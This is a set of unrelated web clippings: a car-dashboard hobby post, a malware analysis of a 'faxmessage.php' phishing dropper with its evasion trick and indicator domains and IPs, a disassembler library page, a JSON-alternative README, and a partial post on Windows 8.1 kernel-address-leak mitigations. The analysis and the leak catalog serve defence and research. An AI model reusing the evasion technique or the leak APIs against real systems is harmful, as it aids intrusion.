<img src='img/1*mmJAsEeyaB2eQ_3590MS_w.jpeg' width='30' height='22' />

<img src='img/1*aLgCXcN022eek0yj4UXF7w.jpeg' width='30' height='22' />

The circuit is pretty simple, it consists of a level shifter because the
Arduino uses 5V logic levels whereas the HM-10 Bluetooth modules uses 3.3V.
There is also some relays and transistors to switch the LCD screen on when the
ignition is turned on, and switch to the camera when shifting into reverse.
All of these informations are retrieved on the CAN bus by the board.

Next, I removed the stock screen, routed all the cables, and put the new
screen in place. Everything was working: HDMI output from the iPhone and
automatic switching to the backup camera when shifting to reverse gear with
the Arduino\!

<img src='img/1*sKpCrHNVWxHjriihTJCjIQ.jpeg' width='30' height='22' />

<img src='img/1*ZOxSC8OsJ1ERs14l6h2Sww.jpeg' width='30' height='22' />

<img src='img/1*-2KTB0ieQcc9NU-rvqb7OQ.jpeg' width='30' height='22' />

Everything is directly connected to the battery. So the iPhone and Arduino are
powered on all the time. This is to prevent the iPhone battery from dying when
the car is powered off and having to restart the app when it happens.

Finally, I polished the interface and added the remaining informations the old
screen used to display \(such as trip computer data, fuel usage, information
messages, …\). I’m not a graphic designer but I made the interface myself with
some inspiration from the car entertainment system a rental car I had at the
time. I also added the logos of the different radio stations in my area and
display them based on the current station name. I’m pretty satisfied with how
it ended up looking\!

<img src='img/1*R6MzrvBLTCZLnuZaFjQBfQ.jpeg' width='30' height='22' />

The blank space under “Consommation” is actually a real time fuel usage graph.
It was a fun feature to make: during development, I had a graphical bug which
would only happen when I was driving, and I couldn’t reproduce it at home when
using some dummy data. So I found an empty parking lot, put my Macbook on the
passenger seat with Xcode running and drove in circles, triggering
breakpoints, stopping to change the code, until I fixed the bug\!

<img src='img/1*Gc_bB0kJym-j0KAwlybO7w.gif.jpg' width='30' height='17' />

Also, there is a really cool benefit of having an iPhone always in my car: the
ability to track it at all times using the built-in GPS. My ISP provides me a
tiny phone plan with 50MB of data, for free\! This is more than enough to use
Apple’s Find My Friends app. I can now remotely locate my car in case it gets
stolen \(or more likely if I can’t find it on a big parking lot\).

<img src='img/1*FKVjoJPsgDiMG4UBIFFQ3w.jpeg' width='30' height='28' />

### See it in action

<img src='img/1782_resize.jpg' width='40' height='30' />

In this video you can see the final setup. I’m really satisfied with it\! Most
people don’t even realise it’s custom made, they suppose the car actually came
like that. And it has been working almost non-stop for more than a year now\!

I’ve been working on this project for quite some time now. I began in May
2015, and had the first working implementation in September 2015. At first it
would display only some basic information but I made constant improvements
since then. Of course, I didn’t work on it full time, sometimes I wouldn’t
touch it for weeks or months, or I would wait for some components to ship.

In the end, this is all the hardware I bought \(not counting various wires and
electrical components I already had\):

  * Backup camera: **50€**
  * Dashboard screen enclosure: **60€**
  * 7" LCD screen: **40€** \(yes, the enclosure cost more than the screen\)
  * Arduino: **20€**
  * CAN bus shield: **20€**
  * HM-10 Bluetooth module: **5€**
  * iPhone 4S: **80€**

Total: **275€**. It’s a bit pricey but it’s still cheaper than a new car\!

Thank you if you made it this far\! Feel free to ask me any questions. I
intentionally omitted some parts to keep this article short enough. But I may
write other posts with more details if some people are interested\!

I also put all the code on GitHub:

  * The Python script to display data from the CAN bus and the matching Arduino sketch
  * The iOS app I wrote and the Arduino sketch parsing data from the bus

  

# Evasive Measures: "faxmessage.php" malware delivery

**Created:**| _12/10/2014 2:38:20 PM_  
---|---  
**Updated:**| _12/10/2014 2:38:20 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis_  
  

# Evasive Measures: "faxmessage.php" malware delivery

#### By Deryl Slight and Matt Raeburn, 10 Dec. 2014

In the ongoing malware arms race attackers are always trying to find creative
ways to bypass detection, and this isn’t something that is limited to targeted
threat actors. In fact some ingenious evasion techniques seen by Context are
the handiwork of more commonplace cyber-criminals looking to spread their
malicious code as widely as possible.

A good example of this was observed recently, and consisted of a method that
was designed to trick users into downloading zip files containing malicious
executables, while also providing the means to evade network defences.

This activity began with a tried and tested methodology that is likely
familiar to many cyber security analysts: a malicious link contained within a
phishing email, although in this instance the activity came to our attention
due to the traffic we saw across the network, rather than from analysis of the
phishing email itself. The image below gives an example of this suspicious
initial request:

<img src='img/Temp2_2765.jpg' alt='Beacon request' />

In this example the user clicked on the link and a subsequent request for the
resource ‘faxmessage.php’ was sent to an attacker controlled domain, which in
this instance was ‘novastore-print\(dot\)com’. Interestingly the victim’s
user-agent information was also contained within the body of the request,
likely for profiling purposes.

But here’s where things get interesting…

A response containing the resource was returned but there was something odd
about the content. The response from the web server contained very little
actual HTML, but it did include an iframe with a zip file base64-encoded and
embedded within the page itself.

<img src='img/Temp2_2767.jpg' alt='Response' />

From the perspective of the user, they were presented with a simple webpage
containing the text “Please read the document” along with a download dialog
box pointing to the malicious zip file embedded within the page.

The HTTP standard, RFC 1945, states that “any HTTP/1.0 message containing an
entity body should include a Content-Type header field defining the media type
of that body”. Helpfully the attackers have complied with this as they have
stated the data is “text/html” content, which is perfectly valid, but as we
know this is not the whole story given the lurking zip file.

This highlights one of the problems of relying on standards definitions in
network monitoring, as just monitoring the network for responses containing
“Content-Type: application/zip” will not find the suspicious file as it is
embedded in the body of the response, which is more-or-less legitimately
marked as “text/html” content.

<img src='img/Temp2_2769.jpg' alt='HTTP objects' />

At this point fortunately our user did not proceed any further, but having
caught our attention we had a quick closer look. After saving the PHP file and
carving out the base64-encoded data, we used a simple bit of "bash-fu" to dump
out the content and reveal its true nature…

**'base64 --decode < carved\_b64.txt > doc21641\_pdf.mal’**

<img src='img/Temp2_2764.jpg' alt='executable' />

A quick bit of open source research confirms that this is a malicious file.
After running this sample across VirusTotal, it seems MalwareBytes have
previously identified this executable masquerading as a PDF:

<img src='img/Temp2_2766.jpg' alt='virustotalfakepdf1' />

All of the variants of this first stage dropper that we’ve seen have attempted
to connect to domains resolving to a wide range of IP addresses, indicating
that the attackers have a large infrastructure at their disposal. The
communications all resemble the following format:

**GET /0112UK2/ADB7CB0C47E1463/0/51-SP3/0/ HTTP /1.1**

The first stage malware acts as a dropper for a second stage crimeware
implant. Once run, doc21641\_pdf.exe will create or 'drop' another file,
“fwygl.exe”, before launching it. The dropped file was constant across the
various samples analysed and was created in the following location:

**C:\Documents and settings\ <USER>\Local settings\temp\fwygl.exe**

The executable doc21641\_pdf.exe then deletes itself. It does however leave
forensic traces such as a Prefetch file in the Windows directory and Shim
Cache entry in the registry. The dropped malware fwygl.exe then requests
“/images/t2.pnj” from the domain “www.wholesale-motoroilonline\[dot\]com”
which, at the time of analysis, resolved to the IP address 192.163.217.66.

Alternatively, if the dropper cannot connect to this address it attempts to
download the same resource from “wholesalesyntheticmotoroil\[dot\].com”. Both
of those domains and the resource string were found within the malware binary
and within the subsequent network traffic.

If the dropper successfully connects to either of the destination domains
above, the second stage implant is downloaded installed to **C:\WINDOWS\** and
given pseudo randomly generated name. Although this file is not currently
identified as malicious on VirusTotal, it results in further malware which is
detected as crimeware:

<img src='img/Temp2_2768.jpg' alt='scan2.png' />

Once installed, the second stage will connect to the domain
"icanhazip\[dot\]com" followed by the IP addresses below:

176.114.0\[.\]48

181.41.203\[.\]237

181.41.203\[.\]237

The network communication can be seen in the following FakeNet output:

<img src='img/Temp2_2770.jpg' alt='network comms' />

An additional SSL connection was also seen attempting to connect to the IP
address 212.56.214.130, using an autonomous system in Moldova which is
associated with the Dyre botnet:

<img src='img/Temp2_2771.jpg' alt='spamhausip' />

To conclude, in this example we see this method being used to serve crimeware,
but this technique could easily be modified to download any file type in such
a way that it would not be presented within web logs or obvious in network
traffic. This simple technique will certainly evade some Intrusion Detection
Systems that are monitoring for the download of a specific file type based on
HTTP header information.

Without measures to specifically detect this activity, network forensics tools
would most likely classify the file as HTML, based on the initial request for
the PHP file, potentially allowing suspicious content through without adequate
screening.

# libdasm - a disassembly library - Google Project Hosting

**Created:**| _5/21/2011 9:50:49 AM_  
---|---  
**Updated:**| _5/21/2011 9:51:02 AM_  
**Author:**| __  
**Tags:**| _asm reversing programming_  
  

This is an up-to-date libdasm fork. it's **public domain**.

### updates

added opcodes :

  * 0xf6-0xf7 group 3 xx001xxx test
  * 0xc0-0xc1 group 2 xx110xxx sal

fixes :

  * 0xd9 0xd0-0xff fpu
  * 0x8c mov segment register
  * 0x0f 0xb6-0xb7 movzx

### test

[code]

    libdasm\examples
    >
    das test32.bin  
    00000000  d9e0              fchs  
    00000002  d9e1              fabs  
    00000004  90                nop  
    00000005  f60000            test byte [eax],0x0  
    00000008  f60800            test byte [eax],0x0  
    0000000b  f70000000000      test dword [eax],0x0  
    00000011  f70800000000      test dword [eax],0x0  
    00000017  90                nop  
    00000018  8c00              mov [eax],es  
    0000001a  90                nop  
    0000001b  0fb700            movzx eax,[eax]  
    0000001e  0fb600            movzx eax,[eax]  
    00000021  0fb68000000000    movzx eax,[eax+0x0]  
    00000028  90                nop  
    00000029  c03000            sal byte [eax],0x0  
    0000002c  c13000            sal dword [eax],0x0  
    0000002f  90                nop  
    ...
    
[/code]

### credits and links

thanks to :

  * Georg Wicherski
  * Silvio Cesare
  * Ero Carrera
  * BeatriX

and of course, jt, the original author of libdasm.

other disassembly engines:

  * Distorm64
  * BeaEngine
  * libdisasm
  * Hacker Disassembler Engine
  * libdisassemble
  * Udis86

documentation:

  * Intel
  * AMD
  * Sandpile.org
  * x86 instruction reference

# ar-nelson/lcon · GitHub

**Created:**| _8/24/2014 8:35:18 PM_  
---|---  
**Updated:**| _8/24/2014 8:35:18 PM_  
**Author:**| __  
**Tags:**| _oop_  
  

Skip to content



Sign up Sign in

This repository

  * Explore
  * Features
  * Enterprise
  * Blog

  *  Star  41 
  *  Fork  3 

#   ar-nelson/**lcon**

  *   *  Code
  *   *  Issues 0
  *   *  Pull Requests 0

  *   *  Pulse
  *   *  Graphs

### **HTTPS** clone URL



You can clone with HTTPS or Subversion.  

 Clone in Desktop   Download ZIP

Ludicrously Compact Object Notation

  *  2  commits 
  *  1  branch 
  *  0  releases 
  *  1  contributor 

  1. TypeScript 66.6%
  2. VimL 33.4%

TypeScriptVimL

 

 _branch:_ master

lcon /



Initial commit \(version 0.1.3\).

 latest commit 6215612a62

<img
src='https://2.gravatar.com/avatar/6d9b2c20a5519c5766b053b2a8289293?d=https%3A%2F%2Fassets-
cdn.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png&r=x&s=140'
width='20' height='20' /> unknown authored

4 days ago

 |  bin |  Initial commit \(version 0.1.3\). |  4 days ago  
---|---|---|---  
 |  examples |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  extras |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  typings |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  .gitignore |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  .npmignore |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  LCON.njsproj |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  LICENSE |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  README.md |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  lcon-lexer.ts |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  lcon-parser.ts |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  lcon.ts |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  ordered-json.ts |  Initial commit \(version 0.1.3\). |  4 days ago  
 |  package.json |  Initial commit \(version 0.1.3\). |  4 days ago  
###   README.md

#  LCON - Ludicrously Compact Object Notation

LCON \(pronounced "ell-con"\) is an alternate syntax for JSON, designed to be
quickly human-_writable_ as well as readable. It is similar to YAML, but it
has less syntactic noise and translates directly to JSON, without any of
YAML's extra data features.

LCON was initially designed to be used as the default syntax of a Lisp-like
programming language based on JSON rather than S-expressions. Many of its
features are better suited for this kind of data than for configuration files
or other typical applications of JSON.

###  Why use LCON instead of YAML?

LCON is ludicrously compact \(obviously\). Here's a JSON schema in LCON:

[code]

    normaltitle "Example Schema"
    type object
    properties
      firstName type string
      lastName type string
      age (description "Age in years", type integer, minimum 0)
    required [firstName, lastName]
    
[/code]

Most LCON documents are just sequences of indented strings, with little or no
punctuation \(not even colons\); whitespace provides most of the necessary
context.

Here are some more specific reasons to choose LCON over YAML:

  * Your data contains a lot of nested single-element objects like this:
[code]     normalobject:

      part:
        location:
          x: 1.0
          y: 9.1
    
[/code]

...and you wish you could write them like this instead:

[code]     normal  object part location

        x 1.0
        y 9.1
    
[/code]

\(Or, to save even more space...\)

[code]     normal  object part location (x 1.0, y 9.1)

    
[/code]

  * Your data is just JSON, and doesn't need any of YAML's extra features; you just want a more convenient format.
  * Key order is significant in your data. LCON has a parsing mode that preserves key order, and can even be used as a key-order-preserving JSON parser.

##  Usage

LCON can be installed through npm: ` ``npm install -g lcon`

###  Command-line

Running ` ``lcon foo.lcon` will attempt to convert ` ``foo.lcon` into `
``foo.json` in the same directory.

Options:

  * ` ``-s`, ` ``--stdout`: Output to stdout instead of a new file.
  * ` ``-p`, ` ``--pretty-print`: Pretty-print indented JSON output.
  * ` ``-o`, ` ``--ordered`: Use ordered JSON output \(see next section, "Node Library"\)

###  Node Library

[code]

    var LCON = require('lcon')
    
    // Parse LCON like JSON, into standard JavaScript objects:
    LCON.parseUnordered("(a 5, b [1, 2, 3])")
    // => {a: 5, b: [1, 2, 3]}
    
    // Parse LCON into a special JSON format where key order is preserved.
    // Objects are arrays that start with `false`; actual arrays start with `true`.
    LCON.parseOrdered("(a 5, b [1, 2, 3])")
    // => [false, "a", 5, "b", [true, 1, 2, 3]]
    
    // Converts ordered JSON data into standard, unordered JSON data
    LCON.orderedToUnordered([false, "a", 5, "b", [true, 1, 2, 3]])
    // => {a: 5, b: [1, 2, 3]}
    
[/code]

##  Examples

The below examples show JSON data that has been rewritten as LCON. The reader
will first notice that it looks extremely similar to YAML; the most
significant differences are the lack of colons and the use of ` ``.` instead
of ` ``-` as a list bullet character.

From json.org:

[code]

    normalglossary
      title "example glossary"
      GlossDiv
        title S
        GlossList GlossEntry
          ID SGML
          SortAs SGML
          GlossTerm "Standard Generalized Markup Language"
          Acronym SGML
          Abbrev "ISO 8879:1986"
          GlossDef
            para ``
              A meta-markup language, used to create markup languages such as DocBook.
            GlossSeeAlso
            . GML
            . XML
          GlossSee markup
    
[/code]

An example of a Facebook JSON file:

[code]

    normal data
     . id X999_Y999
       from
         name "Tom Brady"
         id X12
       message "Looking forward to 2010!"
       actions
       . name Comment
         link 'http://www.facebook.com/X999/posts/Y999'
       . name Like
         link 'http://www.facebook.com/X999/posts/Y999'
       type status
       created_time '2010-08-02T21:27:44+0000'
       updated_time '2010-08-02T21:27:44+0000'
    
     . id X998_Y998
       from
         name "Peyton Manning"
         id X18
       message "Where's my contract?"
       actions
       . name Comment
         link 'http://www.facebook.com/X998/posts/Y998'
       . name Like
         link 'http://www.facebook.com/X998/posts/Y998'
       type status
       created_time '2010-08-02T21:27:44+0000'
       updated_time '2010-08-02T21:27:44+0000'
    
[/code]

A full JSON schema for a UNIX fstab-like file \(this makes more extensive use
of one of LCON's space-saving features: a sequence of space-separated strings
become nested single-element objects\):

[code]

    normalid 'http://some.site.somewhere/entry-schema#'
    $schema 'http://json-schema.org/draft-04/schema#'
    description "schema for an fstab entry"
    type object
    required [storage]
    properties
      storage
        type object
        oneOf
        . $ref #/definitions/diskDevice
        . $ref #/definitions/diskUUID
        . $ref #/definitions/nfs
        . $ref #/definitions/tmpfs
      fstype enum [ext3, ext4, btrfs]
      options
        type array
        minItems 1
        items type string
        uniqueItems true
      readonly type boolean
    
    definitions
      diskDevice
        properties
          type enum [disk]
          device
            type string
            pattern '^/dev/[^/]+(/[^/]+)*$'
        required [type, device]
        additionalProperties false
      diskUUID
        properties
          type enum [disk]
          label
            type string
            pattern ``
              ^[a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12}$
        required [type, label]
        additionalProperties false
      nfs
        properties
          type enum [nfs]
          remotePath
            type string
            pattern '^(/[^/]+)+$'
          server
            type string
            oneOf
            . format host-name
            . format ipv4
            . format ipv6
        required [type, server, remotePath]
        additionalProperties false
      tmpfs
        properties
          type enum [tmpfs]
          sizeInMB
            type integer
            minimum 16
            maximum 512
        required [type, sizeInMB]
        additionalProperties false
    
[/code]

##  Syntax

###  JSON Compatibility

All JSON is valid LCON. LCON does not include any data types or structures
that are not supported by JSON.

###  Significant Whitespace

####  Inferred Punctuation

The colon \(` ``:`\) is not always necessary for key-value pairs in LCON. Any
string followed by one or more spaces or tabs, then a value, is interpreted as
a key-value pair. As a result, this:

[code]

    normal{"x": 5.0, "y": 10.5}
    
[/code]

can be written like this:

[code]

    normal{"x" 5.0, "y" 5.0}
    
[/code]

When an object contains only one key-value pair, the braces can be inferred as
well. So, this:

[code]

    normal{"a": {"b": {"c": {"d": "e"}}}}
    
[/code]

can be written like this:

[code]

    normal"a" "b" "c" "d" "e"
    
[/code]

####  YAML-style Objects

LCON supports maps written in a YAML-like style, with significant whitespace.

[code]

    normal"a":
      "b":
        "foo": "bar"
      "c": [1, 2, 3, 4]
    
[/code]

Part of this is an extension of the inferred punctuation feature: when two
key-value pairs are written on two adjacent lines, at the same indentation
level, a comma is inferred between them. Inferred colons also allow the above
to be written like this:

[code]

    normal"a"
      "b" "foo" "bar"
      "c" [1, 2, 3, 4]
    
[/code]

####  Bulleted Lists

LCON also supports indentation-sensitive lists, silimar to YAML's bulleted
lists. While YAML uses the ` ``-` character as a bullet, LCON uses ` ``.`.

[code]

    normal"list"
      . "first item"
      . "key1" "value1"
        "key2" "value2"
      . "third item"
    
[/code]

LCON also interprets bullets at the same indentation depth as a key to be
under that key, allowing two-space indentation.

[code]

    normal"list"
    . 1
    . "nested list"
      . 10
      . 20
      . 30
    . 3
    
[/code]

To nest a list as an element of another list, start a new line immediately
after a bullet.

[code]

    normal.
      . 5
      . 10
    .
      . 50
      . 100
    
[/code]

A bullet must be the first non-whitespace chartacter on a line, and must be
surrounded by whitespace; a ` ``.` connected to other characters will be
interpreted as part of a number or unquoted string.

####  Comma Matching

Mixing JSON-style objects and lists with LCON-style indented objects and
bulleted lists can make the meaning of commas ambiguous. To resolve this
ambiguity, the following rule applies:

> Literal commas are always matched with the outermost pair of literal braces
> or brackets. They are never matched with inferred braces or brackets.
As a result, this:

[code]

    normal[
      "a" "b"
      "c" "d"
    ]
    
[/code]

is equivalent to this:

[code]

    normal[{"a": "b", "c": "d"}]
    
[/code]

whereas this:

[code]

    normal[
      "a" "b",
      "c" "d"
    ]
    
[/code]

is equivalent to this:

[code]

    normal[{"a": "b"}, {"c": "d"}]
    
[/code]

Within literal braces, commas may be either written or inferred. Writing a
literal comma resets the indentation; as a result, the following is valid, and
is a single-level object:

[code]

    normal{
      "a": "b"
      "c": "d",
        "e": "f"
        "g": "h"
    }
    
[/code]

###  Strings

####  Single-quoted Strings

Strings in LCON may be surrounded with single quotes \(` ``'`\) as well as
double quotes \(` ``"`\). Escapes are not parsed within single-quoted strings,
although the sequence ` ``''` is interpreted as a literal ` ``'`. Like double-
quoted strings, single-quoted strings can span multiple lines.

####  Block Strings

If a line ends with a double-backtick \(` `````\), all indented text after
that line is interpreted as a string. This text is completely literal, with no
support for escapes; this behavior is identical to YAML's literal block
scalars.

[code]

    normal'name': 'Bob'
    'age': 33
    'address': ``
      91 Fake St.
      Zzyzx, CA 92309
    
[/code]

####  Unquoted Strings

Any sequence of non-reserved characters that does not form a JSON number and
is not one of ` ``true`, ` ``false`, or ` ``null` is interpreted as a string.
Unquoted strings do not support escaping; an unquoted ` ``\` is read as a
literal ` ``\`.

Here are a few examples from previous sections, rewritten with unquoted
strings:

[code]

    normala
      b foo bar
      c [1, 2, 3, 4]
    
[/code]

* * *
* * *
[code]

    normallist
      . 'first item'
      . key1 value1
        key2 value2
      . 'third item'
    
[/code]

* * *
* * *
[code]

    normalname Bob
    age 33
    address ``
      91 Fake St.
      Zzyzx, CA 92309
    
[/code]

####  Reserved Characters

The following characters, as well as all whitespace characters, are reserved
in LCON:

[code]

    normal{}[](),.;:'"`
    
[/code]

These characters cannot be used as part of an unquoted string \(except for `
``.`, which is only reserved when it is a single word surrounded by
whitespace; see the section on bulleted lists\).

###  Parentheses

Parentheses can be used for objects instead of braces. This is purely for
aesthetic purposes; parentheses often look "cleaner" to read than braces.

[code]

    normal{a 1, b 2, c 3}
    (a 1, b 2, c 3)
    
[/code]

###  Comments

####  Line Comments

LCON line comments start with ` ``;`, exactly like Lisp comments.

[code]

    normala b c d ; This is three nested objects.
    
[/code]

####  Block Comments

LCON block comments work like block strings. A block comment starts with the
sequence ` ``;:`, and includes all indented text following the ` ``;:`.

[code]

    normalperson
      name Bob
      age 33
      ;:
        This is a comment, not part of the data.
        Still a comment!
      address ``
        91 Fake St.
        Zzyzx, CA 92309
    
[/code]

##  License

LCON is distributed under the BSD license.

[code]

    normalCopyright (c) 2014, Adam R. Nelson
    All rights reserved.
    
    Redistribution and use in source and binary forms, with or without modification,
    are permitted provided that the following conditions are met:
    
    1. Redistributions of source code must retain the above copyright notice, this
    list of conditions and the following disclaimer.
    
    2. Redistributions in binary form must reproduce the above copyright notice,
    this list of conditions and the following disclaimer in the documentation
    and/or other materials provided with the distribution.
    
    THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
    ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
    WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
    DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
    FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
    DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
    SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
    CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
    TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
    THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    
[/code]

  * Status
  * API
  * Training
  * Shop
  * Blog
  * About



  * © 2014 GitHub, Inc.
  * Terms
  * Privacy
  * Security
  * Contact

# KASLR Bypass Mitigations in Windows 8.1 « Alex Ionescu’s Blog

**Created:**| _11/17/2013 9:59:24 AM_  
---|---  
**Updated:**| _11/17/2013 9:59:24 AM_  
**Author:**| __  
**Tags:**| _windows security kernel_  
  

# **K** ASLR Bypass Mitigations in Windows 8.1****

## Introduction****

As some of you may know, back in June of 2013, I gave a talk at Recon , a
security conference in Montreal, about KASLR Information Bypasses/Leaks in the
Windows NT kernel, entitled “I got 99 problems but a kernel pointer ain’t
one”**.** The point of the presentation was both to collect and catalog the
many ways in which kernel pointers could be leaked to a local userspace
attacker \(some of which were known, others not so much\), as well as raise
awareness to the inadequate protection, and sometimes baffling leaking of,
such data**.**

After sharing my slides and presentation with some colleagues from Microsoft,
I was told to “expect some changes in Windows 8**.** 1″. I was initially
skeptical, because it seemed that local KASLR bypasses were not at the top of
the security team’s list — having been left behind to accumulate for years \(a
much different state than Apple’s OS X kernel, which tries to take a very
strong stance against leaking pointers\)**.** As Spender likes to point out ,
there will always be KASLR bugs**.** But in Windows, there were documented
APIs  to serve them on a platter for you**.**

## Restricted Callers****

Our investigation begins with an aptly named new Windows 8**.** 1 kernel
function:

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    
[/code]

|

[code]

    BOOLEAN
    ExIsRestrictedCaller (
        _In_ KPROCESSOR_MODE PreviousMode
        )
    {
        PTOKEN Token;
        NTSTATUS Status;
        BOOLEAN IsRestricted;
        ULONG IntegrityLevel;
        PAGED_CODE();
     
        //
        // Kernel callers are never restricted
        //
        if (PreviousMode == KernelMode)
        {
            return FALSE;
        }
     
        //
        // Grab the primary token of the current process
        //
        Token = PsReferencePrimaryToken(PsGetCurrentProcess());
        NT_ASSERT(Token **!** = NULL);
     
        //
        // Get its integrity level
        //
        Status = SeQueryInformationToken(Token,
                                         TokenIntegrityLevel,
                                         &IntegrityLevel);
        ObDereferenceObject(Token);
     
        //
        // If the integrity level is below medium, or cannot be
        // queried, the caller is restricted**.**
        //
        if (**!** NT_SUCCESS(Status) ||
            IntegrityLevel < SECURITY_MANDATORY_MEDIUM_RID)
        {
            IsRestricted = TRUE;
        }
        else
        {
            IsRestricted = FALSE;
        }
     
        //
        // Return the caller's restriction state
        //
        return IsRestricted;
    }
[/code]  
---|---  
This now introduces a new security term in the Windows kernel lingo — a
“restricted caller”, is a caller whose integrity level is below Medium**.**
For those unfamiliar with the concept of integrity levels, this includes most
applications running in a sandbox, such as Protected Mode IE, Chrome, Adobe
Reader and parts of Office**.** Additionally, in Windows 8 and higher, it
includes all Modern/Metro/TIFKAM/MoSH/Immersive/Store applications**.**

So, what is it exactly that these restricted callers cannot do**?**

## System-wide Information Mitigations****

First of all, STATUS\_ACCESS\_DENIED is now returned when calling
_NtQuerySystemInformation_ , with the following classes:

_SystemModuleInformation_ — Part of my \(and many others\) presentation, this
disables the EnumSystemDrivers API and hides the load address of kernel
drivers \(finally**\!**\)**.**

_SystemModuleInformationEx_ — A new information class that was recently added
in Vista and leaked as much as the one above**.**

_SystemLocksInformation_ — Part of my presentation \(and also found by j00ru
\), this leaked the address of ERESOURCE locks in the system**.**

_SystemStackTraceInformation_ — Indirectly mentioned in the ETW/Performance
section of my presentation, this leaked kernel stack addresses, but only if
the right global flags were set**.**

_SystemHandleInformation_ — Part of my presentation, and well known
beforehand, this was NT’s KASLR-fail posterboy: leaking the kernel address of
every object on the system that had at least one handle open \(i**.** e.:
pretty much all of them\).

_SystemExtendedHandleInformation_ — Another new Vista information class, which
was added for 64-bit support, and leaked as much as above**.**

_SystemObjectInformation_ — Part of my presentation, if the right global flags
were set, this dumped the address of object types and objects on the system,
even if no handles were open**.**

_SystemBigPoolInformation_ — Part of my presentation, this dumped the address
of all pool \(kernel heap\) allocations over 4KB \(so-called “big”
allocations\)**.**

_SystemSessionBigPoolInformation_ — The session-specific little brother of the
above, perfect for those win32k.sys exploits**.**

## Thread Information Mitigations****

But that’s not all**\!** Using the well-known _SystemProcessInformation_
information class, which famously dumps the entrypoint addresses of system
threads \(pretty much giving you a function pointer into almost all loaded
drivers\), as well as the kernel stack base and stack limit of all the threads
on the system \(used by j00ru in his GS-stack-cookie-guessing attacks , since
the cookie is partly generated with this information\), now introduces some
additional checks**.**

First of all, there are now three information classes related to this
data**.**

_SystemProcessInformation_ , which is well-understood**.**

_SystemExtendedProcessinformation_ , which was documented by j00ru and wj32
**.** This returns the SYSTEM\_EXTENDED\_THREAD\_ INFORMATION structure
containing the stack base, limit, and Win32 start address**.**

_SystemFullProcessInformation_ , which is new to Windows 8**.** 1\. This
returns the SYSTEM\_PROCESS\_INFORMATION\_EXTENSION below:

[code]

    1
    2
    3
    4
    5
    6
    
[/code]

|

[code]

    +0x000 DiskCounters : _PROCESS_DISK_COUNTERS (the new Windows 8 I/O counters at the disk level, copied from EPROCESS)
    +0x028 ContextSwitches : Uint8B (Copied from KPROCESS)
    +0x030 Flags : Uint4B (See below)
    +0x030 HasStrongId : Pos 0, 1 Bit (in other words, strongly named -- AppContainer)
    +0x030 Spare : Pos 1, 31 Bits (unused)
    +0x034 UserSidOffset : Uint4B (The offset, hardcoded to 0x38, of the primary user SID)
[/code]  
---|---  
\(By the way, I hear Microsoft is taking suggestions on the upcoming 4th
information class in Windows 9**.** Current leader is
_SystemFullExtendedProcessInformation_**.**\)

It’s unfortunate that Microsoft continues to keep these APIs undocumented —
the documented Win32 equivalents require up to 12 separate API calls, all of
which return the same data 12 times, with the Win32 interface only picking one
or two fields each time**.**

Back to our discussion about KASLR, the behavior of this information class is
to also apply the restricted caller check**.** If the caller is restricted,
then the stack limit, stack base, start address, and Win32 start address
fields in the thread structures will all be zeroed out**.** Additionally, to
use the new “full” information class, the caller must be part of the
Administrators group, or have the Diagnostic Policy Service  SID in its
token**.** Interestingly, in these cases the restricted caller check is not
done — which makes sense after all, as a Service or Admin process should not
be running below medium integrity**.**

## Process Information Mitigations****

The checks for restricted callers do not stop here however**.** A few more
interesting cases are protected, such as in _NtQueryInformationProcess_ , in
which _ProcessHandleTracing_ is disabled for such callers**.** I must admit
this is something I missed in my KASLR analysis \(and no obvious hits appear
on Google\) — this is an Object Manager feature \(ironically, one which I
often use\) related to **\!** obtrace and global flags, which enables seeing a
full stack trace and reference count analysis of every object that a process
accesses**.** Obviously, enabling this feature on one own’s process would leak
the kernel pointers of all objects, as well as stack traces of kernel code and
drivers that are in the path of the access \(or running in the context of the
process and performing some object access, such as during an IRP\)**.**

Another obvious “d’oh\!” moment was when seeing the check performed when
setting up a Profile Object**.** Profile Objects are a little-talked about
feature of NT, which primarily power the “kernrate ” utility that is now
rather deprecated \(but still useful  for analyzing drivers that are not ETW-
friendly\)**.** This feature allows the caller to setup “buckets” — regions of
memory — in which every time the processor is caught with its instruction
pointer/program counter cause a trace record to be recorded**.** In a way
similar to some of the cache/TLB prediction attacks shown recently, in which
the processor’s trace buffer is queried for address hits, the same could be
setup using an NT profile object, which would reveal kernel addresses**.** In
Windows 8**.** 1, attempts to setup buckets above the userspace barrier will
result in failure if the caller is restricted**.**

Last but not least, the _ProcessWorkingSetWatch_ and
